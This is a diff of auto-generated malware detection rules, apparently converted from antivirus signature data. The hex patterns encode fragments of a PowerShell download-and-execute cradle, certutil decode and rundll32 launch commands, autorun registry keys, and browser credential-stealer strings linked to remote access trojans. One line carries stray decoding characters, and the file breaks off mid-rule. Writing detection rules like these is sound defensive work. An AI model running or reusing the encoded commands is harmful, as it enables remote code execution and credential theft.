((#a_01_0 & 1)*16675+(#a_01_2 & 1)*101) >=3 } -rule _InfrastructureShared_28517{ +rule _InfrastructureShared_30273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -372148,7 +395032,7 @@ rule _InfrastructureShared_28517{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*100+(#a_01_2 & 1)*115+(#a_01_3 & 1)*3+(#a_01_4 & 1)*8993+(#a_01_6 & 1)*118) >=7 } -rule _InfrastructureShared_28518{ +rule _InfrastructureShared_30274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -372159,7 +395043,7 @@ rule _InfrastructureShared_28518{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*93) >=3 } -rule _InfrastructureShared_28519{ +rule _InfrastructureShared_30275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -372171,7 +395055,7 @@ rule _InfrastructureShared_28519{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*105+(#a_01_3 & 1)*69) >=4 } -rule _InfrastructureShared_28520{ +rule _InfrastructureShared_30276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 04 00 21 " @@ -372183,7 +395067,7 @@ rule _InfrastructureShared_28520{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*97+(#a_01_2 & 1)*65) >=5 } -rule _InfrastructureShared_28521{ +rule _InfrastructureShared_30277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 02 00 21 " @@ -372193,7 +395077,7 @@ rule _InfrastructureShared_28521{ ((#a_01_0 & 1)*18467) >=3 } -rule _InfrastructureShared_28522{ +rule _InfrastructureShared_30278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 08 00 21 " @@ -372209,7 +395093,7 @@ rule _InfrastructureShared_28522{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*108+(#a_01_3 & 1)*11569+(#a_01_4 & 1)*27498+(#a_01_5 & 1)*21603+(#a_01_6 & 1)*30051+(#a_01_7 & 1)*29249) >=6 } -rule _InfrastructureShared_28523{ +rule _InfrastructureShared_30279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 0f 00 21 " @@ -372231,7 +395115,7 @@ rule _InfrastructureShared_28523{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28271+(#a_01_2 & 1)*17247+(#a_01_3 & 1)*1+(#a_01_4 & 1)*8448+(#a_01_5 & 1)*11264+(#a_01_7 & 1)*79+(#a_01_9 & 1)*100+(#a_01_10 & 1)*30831+(#a_01_11 & 1)*28777+(#a_01_12 & 1)*29216+(#a_01_13 & 1)*29285+(#a_01_14 & 1)*28013) >=15 } -rule _InfrastructureShared_28524{ +rule _InfrastructureShared_30280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 07 00 21 " @@ -372245,7 +395129,7 @@ rule _InfrastructureShared_28524{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*97+(#a_01_4 & 1)*97+(#a_01_5 & 1)*32+(#a_01_6 & 1)*8448) >=4 } -rule _InfrastructureShared_28525{ +rule _InfrastructureShared_30281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -372260,7 +395144,7 @@ rule _InfrastructureShared_28525{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*23328+(#a_01_2 & 1)*26984+(#a_01_3 & 1)*15934+(#a_01_4 & 1)*17225+(#a_01_5 & 1)*8293) >=5 } -rule _InfrastructureShared_28526{ +rule _InfrastructureShared_30282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -372271,7 +395155,7 @@ rule _InfrastructureShared_28526{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*30575) >=1 } -rule _InfrastructureShared_28527{ +rule _InfrastructureShared_30283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -372279,12 +395163,24 @@ rule _InfrastructureShared_28527{ $a_01_0 = {54 52 3a 57 69 6e 33 32 2f 43 79 6d 75 50 61 79 6c 6f 64 2e 41 00 01 00 25 5c 73 63 65 6e 61 72 69 6f 2d 67 65 6e 65 72 61 74 6f 72 5c 50 61 79 6c 6f 61 64 73 5c 43 79 6d 75 6c 61 74 65 01 00 26 5c 73 63 65 6e 61 72 69 6f 2d 67 65 6e 65 72 61 74 6f } //18467 $a_01_1 = {78 65 63 75 74 6f 72 73 5c 43 79 6d 75 6c 61 74 65 01 00 5e 69 00 65 00 78 00 20 00 28 00 28 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 } //23666 $a_01_3 = {00 6e 00 74 00 29 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 01 00 2e 61 00 74 00 74 00 61 00 63 00 6b 00 5f 00 69 00 64 00 3d 00 24 00 3c 00 41 00 54 00 54 00 41 00 43 00 4b 00 5f 00 49 00 44 00 3e 00 24 00 01 00 36 73 00 74 00 61 00 67 00 65 00 } //105 - $a_01_4 = {00 6c 00 69 00 6e 00 6b 00 3d 00 24 00 3c 00 53 00 54 00 41 00 47 00 45 00 52 00 5f 00 4c 00 49 00 4e 00 4b 00 3e 00 24 00 00 00 61 3e 01 00 14 00 14 00 06 00 21 23 4f 46 4e 3a 70 72 6f 63 65 73 73 64 75 6d 70 2e 65 78 65 00 0a 00 5a 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 44 00 75 } //114 + $a_01_4 = {00 6c 00 69 00 6e 00 6b 00 3d 00 24 00 3c 00 53 00 54 00 41 00 47 00 45 00 52 00 5f 00 4c 00 49 00 4e 00 4b 00 3e 00 24 00 00 00 61 3e 01 00 06 00 06 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 41 59 42 21 4d 54 42 00 02 00 1a 36 00 2e 00 } //114 condition: ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*23666+(#a_01_3 & 1)*105+(#a_01_4 & 1)*114) >=4 } -rule _InfrastructureShared_28528{ +rule _InfrastructureShared_30284{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 05 00 21 " + + strings : + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 41 59 42 21 4d 54 42 00 02 00 1a 36 00 2e 00 74 00 6f 00 70 00 34 00 74 00 6f 00 70 00 2e 00 6e 00 65 00 74 00 01 00 34 53 00 74 00 65 00 61 00 6c 00 65 00 72 } //16675 + $a_01_2 = {00 2e 00 43 00 61 00 70 00 74 00 75 00 72 00 65 00 42 00 72 00 6f 00 77 00 73 00 65 00 72 00 73 00 01 00 22 52 00 65 00 63 00 6f 00 76 00 65 00 72 00 43 00 72 00 65 00 64 00 65 00 6e 00 74 00 69 00 61 00 6c 00 01 00 66 48 00 4b 00 43 00 55 00 3a 00 5c 00 53 00 4f 00 46 00 54 00 57 00 41 00 52 } //105 + $a_01_4 = {00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 01 00 2e 52 00 65 } //92 + condition: + ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*105+(#a_01_4 & 1)*92) >=6 + +} +rule _InfrastructureShared_30285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 06 00 21 " @@ -372298,7 +395194,7 @@ rule _InfrastructureShared_28528{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*68+(#a_01_3 & 1)*32+(#a_01_4 & 1)*110+(#a_01_5 & 1)*14660) >=20 } -rule _InfrastructureShared_28529{ +rule _InfrastructureShared_30286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -372310,7 +395206,7 @@ rule _InfrastructureShared_28529{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*197+(#a_01_3 & 1)*8993) >=5 } -rule _InfrastructureShared_28530{ +rule _InfrastructureShared_30287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -372323,7 +395219,7 @@ rule _InfrastructureShared_28530{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*32+(#a_01_3 & 1)*100+(#a_01_5 & 1)*101) >=5 } -rule _InfrastructureShared_28531{ +rule _InfrastructureShared_30288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,13 00 13 00 0a 00 21 " @@ -372340,7 +395236,7 @@ rule _InfrastructureShared_28531{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28500+(#a_01_2 & 1)*17206+(#a_01_3 & 1)*1+(#a_01_4 & 1)*10+(#a_01_5 & 1)*0+(#a_01_7 & 1)*111+(#a_01_9 & 1)*103) >=19 } -rule _InfrastructureShared_28532{ +rule _InfrastructureShared_30289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -372352,7 +395248,7 @@ rule _InfrastructureShared_28532{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*99+(#a_01_3 & 1)*103) >=4 } -rule _InfrastructureShared_28533{ +rule _InfrastructureShared_30290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -372365,7 +395261,7 @@ rule _InfrastructureShared_28533{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*48+(#a_01_3 & 1)*52+(#a_01_4 & 1)*55) >=5 } -rule _InfrastructureShared_28534{ +rule _InfrastructureShared_30291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 09 00 21 " @@ -372380,7 +395276,7 @@ rule _InfrastructureShared_28534{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28483+(#a_01_2 & 1)*25973+(#a_01_5 & 1)*100+(#a_01_6 & 1)*29555+(#a_01_7 & 1)*28261) >=6 } -rule _InfrastructureShared_28535{ +rule _InfrastructureShared_30292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,64 00 64 00 05 00 21 " @@ -372394,7 +395290,7 @@ rule _InfrastructureShared_28535{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*27680+(#a_01_2 & 1)*25714+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=100 } -rule _InfrastructureShared_28536{ +rule _InfrastructureShared_30293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -372408,7 +395304,7 @@ rule _InfrastructureShared_28536{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*65+(#a_01_2 & 1)*79+(#a_01_4 & 1)*89+(#a_01_6 & 1)*8993) >=7 } -rule _InfrastructureShared_28537{ +rule _InfrastructureShared_30294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -372419,7 +395315,7 @@ rule _InfrastructureShared_28537{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*112) >=3 } -rule _InfrastructureShared_28538{ +rule _InfrastructureShared_30295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -372432,7 +395328,7 @@ rule _InfrastructureShared_28538{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*17228+(#a_01_3 & 1)*25455+(#a_01_4 & 1)*28015) >=5 } -rule _InfrastructureShared_28539{ +rule _InfrastructureShared_30296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 08 00 21 " @@ -372443,12 +395339,12 @@ rule _InfrastructureShared_28539{ $a_01_4 = {00 67 00 69 00 6e 00 3b 00 50 00 61 00 73 00 73 00 21 00 00 00 61 42 01 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 36 34 2f 51 75 61 73 61 72 2e 45 21 4d 53 52 00 01 00 29 63 65 72 74 75 74 69 6c 2e 65 78 65 20 2d 64 65 63 6f 64 65 20 72 65 61 64 6d 65 2e 74 78 74 20 72 75 6e 6d 65 2e } //76 $a_01_5 = {01 00 2a 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 25 73 61 64 76 70 61 63 6b 2e 64 6c 6c 2c 44 65 6c 4e 6f 64 65 52 75 6e 44 4c 4c 33 32 01 00 2c 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 25 73 2c 49 6e 73 74 61 6c 6c 48 69 6e 66 53 65 63 74 69 6f 6e 20 25 73 20 31 32 38 20 25 73 01 00 31 53 6f 66 74 77 61 } //30821 $a_01_6 = {4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 4f 6e 63 65 01 00 45 53 79 73 74 65 6d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 53 65 73 73 69 6f 6e 20 4d 61 6e 61 67 65 72 5c } //25970 - $a_01_7 = {65 52 65 6e 61 6d 65 4f 70 65 72 61 74 69 6f 6e 73 01 00 0c 77 65 78 74 72 61 63 74 2e 70 64 62 00 00 61 42 01 00 08 00 08 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 6b 6f 6f 62 2e 47 56 41 21 4d 54 42 00 01 00 2e 75 00 6e 00 63 00 6f 00 6c 00 6c 00 61 00 70 00 73 00 61 00 62 00 6c 00 65 00 20 } //26950 + $a_01_7 = {65 52 65 6e 61 6d 65 4f 70 65 72 61 74 69 6f 6e 73 01 00 0c 77 65 78 74 72 61 63 74 2e 70 64 62 00 00 61 43 01 00 02 00 02 00 06 00 21 23 48 53 54 52 3a 64 6f 77 6e 6c 6f 61 64 65 72 5f 72 6f 63 68 61 70 00 02 00 0f 00 64 6c 6c 2e 64 6c 6c 00 72 6f 64 61 72 00 02 00 14 00 62 72 69 74 69 73 68 2e 64 6c 6c 00 62 65 73 74 6f } //26950 condition: ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*19536+(#a_01_3 & 1)*106+(#a_01_4 & 1)*76+(#a_01_5 & 1)*30821+(#a_01_6 & 1)*25970+(#a_01_7 & 1)*26950) >=5 } -rule _InfrastructureShared_28540{ +rule _InfrastructureShared_30297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -372456,27 +395352,13 @@ rule _InfrastructureShared_28540{ $a_01_0 = {46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 36 34 2f 51 75 61 73 61 72 2e 45 21 4d 53 52 00 01 00 29 63 65 72 74 75 74 69 6c 2e 65 78 65 20 2d 64 65 63 6f 64 65 20 72 65 61 64 6d 65 2e 74 78 74 20 72 75 6e 6d 65 2e } //16675 $a_01_1 = {01 00 2a 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 25 73 61 64 76 70 61 63 6b 2e 64 6c 6c 2c 44 65 6c 4e 6f 64 65 52 75 6e 44 4c 4c 33 32 01 00 2c 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 25 73 2c 49 6e 73 74 61 6c 6c 48 69 6e 66 53 65 63 74 69 6f 6e 20 25 73 20 31 32 38 20 25 73 01 00 31 53 6f 66 74 77 61 } //30821 $a_01_2 = {4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 4f 6e 63 65 01 00 45 53 79 73 74 65 6d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 53 65 73 73 69 6f 6e 20 4d 61 6e 61 67 65 72 5c } //25970 - $a_01_3 = {65 52 65 6e 61 6d 65 4f 70 65 72 61 74 69 6f 6e 73 01 00 0c 77 65 78 74 72 61 63 74 2e 70 64 62 00 00 61 42 01 00 08 00 08 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 6b 6f 6f 62 2e 47 56 41 21 4d 54 42 00 01 00 2e 75 00 6e 00 63 00 6f 00 6c 00 6c 00 61 00 70 00 73 00 61 00 62 00 6c 00 65 00 20 } //26950 - $a_01_5 = {00 65 00 6e 00 6f 00 64 00 6f 00 6e 00 01 00 36 70 00 61 00 72 00 61 00 6c 00 6c 00 61 00 78 00 65 00 73 00 20 00 66 00 6f 00 72 00 6c 00 61 00 67 00 73 00 72 00 65 00 64 00 61 00 6b 00 74 00 72 00 65 00 6e 00 01 00 20 75 00 6e 00 73 00 69 00 6d 00 70 00 6c 00 65 00 6e 00 65 00 73 00 73 00 } //121 + $a_01_3 = {65 52 65 6e 61 6d 65 4f 70 65 72 61 74 69 6f 6e 73 01 00 0c 77 65 78 74 72 61 63 74 2e 70 64 62 00 00 61 43 01 00 02 00 02 00 06 00 21 23 48 53 54 52 3a 64 6f 77 6e 6c 6f 61 64 65 72 5f 72 6f 63 68 61 70 00 02 00 0f 00 64 6c 6c 2e 64 6c 6c 00 72 6f 64 61 72 00 02 00 14 00 62 72 69 74 69 73 68 2e 64 6c 6c 00 62 65 73 74 6f } //26950 + $a_01_5 = {35 34 38 31 35 39 34 38 38 33 37 34 39 41 35 38 37 43 43 46 32 30 41 46 36 42 35 46 41 31 42 39 43 33 31 35 44 39 32 33 38 30 30 36 45 31 35 33 00 01 00 4c 00 38 38 31 } //51 㐵ㄸ㤵㠴㌸㐷䄹㠵䌷䙃〲䙁䈶䘵ㅁ㥂㍃㔱㥄㌲〸㘰ㅅ㌵Ā䰀㠀ㄸ condition: - ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*30821+(#a_01_2 & 1)*25970+(#a_01_3 & 1)*26950+(#a_01_5 & 1)*121) >=6 + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*30821+(#a_01_2 & 1)*25970+(#a_01_3 & 1)*26950+(#a_01_5 & 1)*51) >=6 } -rule _InfrastructureShared_28541{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 06 00 21 " - - strings : - $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 6b 6f 6f 62 2e 47 56 41 21 4d 54 42 00 01 00 2e 75 00 6e 00 63 00 6f 00 6c 00 6c 00 61 00 70 00 73 00 61 00 62 00 6c 00 65 00 20 00 68 00 79 00 61 00 65 00 6e 00 6f 00 64 00 6f } //16675 - $a_01_2 = {70 00 61 00 72 00 61 00 6c 00 6c 00 61 00 78 00 65 00 73 00 20 00 66 00 6f 00 72 00 6c 00 61 00 67 00 73 00 72 00 65 00 64 00 61 00 6b 00 74 00 72 00 65 00 6e 00 } //1 parallaxes forlagsredaktren - $a_01_3 = {75 00 6e 00 73 00 69 00 6d 00 70 00 6c 00 65 00 6e 00 65 00 73 00 73 00 2e 00 65 00 78 00 65 00 } //1 unsimpleness.exe - $a_01_4 = {72 00 65 00 76 00 6f 00 6b 00 65 00 20 00 71 00 75 00 61 00 72 00 74 00 65 00 72 00 6d 00 61 00 73 00 74 00 65 00 72 00 73 00 20 00 73 00 70 00 6f 00 72 00 6f 00 67 00 65 00 6e 00 69 00 63 00 } //3 revoke quartermasters sporogenic - $a_01_5 = {53 00 65 00 53 00 68 00 75 00 74 00 64 00 6f 00 77 00 6e 00 50 00 72 00 69 00 76 00 69 00 6c 00 65 00 67 00 65 00 } //1 SeShutdownPrivilege - condition: - ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*3+(#a_01_5 & 1)*1) >=8 - -} -rule _InfrastructureShared_28542{ +rule _InfrastructureShared_30298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 06 00 21 " @@ -372491,7 +395373,7 @@ rule _InfrastructureShared_28542{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*17207+(#a_01_2 & 1)*16697+(#a_01_3 & 1)*100+(#a_01_4 & 1)*18771+(#a_01_5 & 1)*9608) >=2 } -rule _InfrastructureShared_28543{ +rule _InfrastructureShared_30299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -372504,7 +395386,7 @@ rule _InfrastructureShared_28543{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*-30683+(#a_01_2 & 1)*82+(#a_01_4 & 1)*99) >=5 } -rule _InfrastructureShared_28544{ +rule _InfrastructureShared_30300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -372516,7 +395398,7 @@ rule _InfrastructureShared_28544{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*105+(#a_01_3 & 1)*109) >=30 } -rule _InfrastructureShared_28545{ +rule _InfrastructureShared_30301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -372528,7 +395410,7 @@ rule _InfrastructureShared_28545{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*58+(#a_01_3 & 1)*92) >=5 } -rule _InfrastructureShared_28546{ +rule _InfrastructureShared_30302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -372543,7 +395425,7 @@ rule _InfrastructureShared_28546{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*28704+(#a_01_2 & 1)*26478+(#a_01_3 & 1)*17664+(#a_01_4 & 1)*28784+(#a_01_5 & 1)*29811) >=6 } -rule _InfrastructureShared_28547{ +rule _InfrastructureShared_30303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -372558,7 +395440,7 @@ rule _InfrastructureShared_28547{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*27758+(#a_01_2 & 1)*25655+(#a_01_3 & 1)*13155+(#a_01_5 & 1)*111+(#a_01_6 & 1)*83) >=7 } -rule _InfrastructureShared_28548{ +rule _InfrastructureShared_30304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -372573,7 +395455,7 @@ rule _InfrastructureShared_28548{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*114+(#a_01_2 & 1)*114+(#a_01_3 & 1)*111+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_28549{ +rule _InfrastructureShared_30305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 0d 00 21 " @@ -372594,7 +395476,7 @@ rule _InfrastructureShared_28549{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29252+(#a_01_2 & 1)*18293+(#a_01_3 & 1)*25931+(#a_01_4 & 1)*20013+(#a_01_5 & 1)*15648+(#a_01_6 & 1)*11885+(#a_01_7 & 1)*1+(#a_01_8 & 1)*14930+(#a_01_9 & 1)*16927+(#a_01_10 & 1)*26158+(#a_01_11 & 1)*28005) >=4 } -rule _InfrastructureShared_28550{ +rule _InfrastructureShared_30306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -372607,7 +395489,7 @@ rule _InfrastructureShared_28550{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*27756+(#a_01_2 & 1)*8307+(#a_01_4 & 1)*9318) >=6 } -rule _InfrastructureShared_28551{ +rule _InfrastructureShared_30307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -372626,7 +395508,7 @@ rule _InfrastructureShared_28551{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25415+(#a_01_2 & 1)*11886+(#a_01_3 & 1)*26994+(#a_01_4 & 1)*100+(#a_01_5 & 1)*103+(#a_01_6 & 1)*25971+(#a_01_7 & 1)*26112+(#a_01_8 & 1)*13361+(#a_01_9 & 1)*105) >=10 } -rule _InfrastructureShared_28552{ +rule _InfrastructureShared_30308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 28 00 05 00 21 " @@ -372639,7 +395521,7 @@ rule _InfrastructureShared_28552{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*101+(#a_01_2 & 1)*68+(#a_01_4 & 1)*114) >=40 } -rule _InfrastructureShared_28553{ +rule _InfrastructureShared_30309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -372651,7 +395533,7 @@ rule _InfrastructureShared_28553{ ((#a_01_0 & 1)*19491+(#a_01_2 & 1)*111+(#a_01_3 & 1)*111) >=4 } -rule _InfrastructureShared_28554{ +rule _InfrastructureShared_30310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -372668,7 +395550,7 @@ rule _InfrastructureShared_28554{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21333+(#a_01_2 & 1)*18276+(#a_01_3 & 1)*18973+(#a_01_4 & 1)*8993+(#a_01_5 & 1)*25441+(#a_01_7 & 1)*18715+(#a_01_8 & 1)*25441) >=9 } -rule _InfrastructureShared_28555{ +rule _InfrastructureShared_30311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0d 00 0d 00 0d 00 21 " @@ -372685,7 +395567,7 @@ rule _InfrastructureShared_28555{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*18704+(#a_01_3 & 1)*25928+(#a_01_4 & 1)*29816+(#a_01_6 & 1)*101+(#a_01_10 & 1)*99+(#a_01_11 & 1)*77+(#a_01_12 & 1)*25441) >=13 } -rule _InfrastructureShared_28556{ +rule _InfrastructureShared_30312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,19 00 19 00 0a 00 21 " @@ -372701,7 +395583,7 @@ rule _InfrastructureShared_28556{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*97+(#a_01_4 & 1)*101+(#a_01_5 & 1)*72+(#a_01_6 & 1)*29806+(#a_01_7 & 1)*23598+(#a_01_9 & 1)*27915) >=25 } -rule _InfrastructureShared_28557{ +rule _InfrastructureShared_30313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,49 00 49 00 0d 00 21 " @@ -372721,7 +395603,7 @@ rule _InfrastructureShared_28557{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*17999+(#a_01_2 & 1)*11568+(#a_01_3 & 1)*2816+(#a_01_4 & 1)*28532+(#a_01_6 & 1)*9503+(#a_01_7 & 1)*28015+(#a_01_9 & 1)*29206+(#a_01_10 & 1)*25970+(#a_01_11 & 1)*-28224+(#a_01_12 & 1)*26978) >=73 } -rule _InfrastructureShared_28558{ +rule _InfrastructureShared_30314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 04 00 0b 00 21 " @@ -372741,7 +395623,7 @@ rule _InfrastructureShared_28558{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29555+(#a_01_2 & 1)*29477+(#a_01_3 & 1)*8261+(#a_01_4 & 1)*25970+(#a_01_5 & 1)*29559+(#a_01_6 & 1)*28001+(#a_01_7 & 1)*29296+(#a_01_8 & 1)*26978+(#a_01_9 & 1)*110+(#a_01_10 & 1)*115) >=4 } -rule _InfrastructureShared_28559{ +rule _InfrastructureShared_30315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -372757,7 +395639,7 @@ rule _InfrastructureShared_28559{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*23565+(#a_01_2 & 1)*25970+(#a_01_3 & 1)*-28224+(#a_01_4 & 1)*26978+(#a_01_5 & 1)*110+(#a_01_6 & 1)*115) >=7 } -rule _InfrastructureShared_28560{ +rule _InfrastructureShared_30316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 28 00 05 00 21 " @@ -372770,7 +395652,7 @@ rule _InfrastructureShared_28560{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*70+(#a_01_3 & 1)*115+(#a_01_4 & 1)*25120) >=40 } -rule _InfrastructureShared_28561{ +rule _InfrastructureShared_30317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 04 00 05 00 21 " @@ -372782,7 +395664,7 @@ rule _InfrastructureShared_28561{ ((#a_01_0 & 1)*21283+(#a_01_2 & 1)*108+(#a_01_3 & 1)*119) >=4 } -rule _InfrastructureShared_28562{ +rule _InfrastructureShared_30318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -372794,7 +395676,7 @@ rule _InfrastructureShared_28562{ ((#a_01_0 & 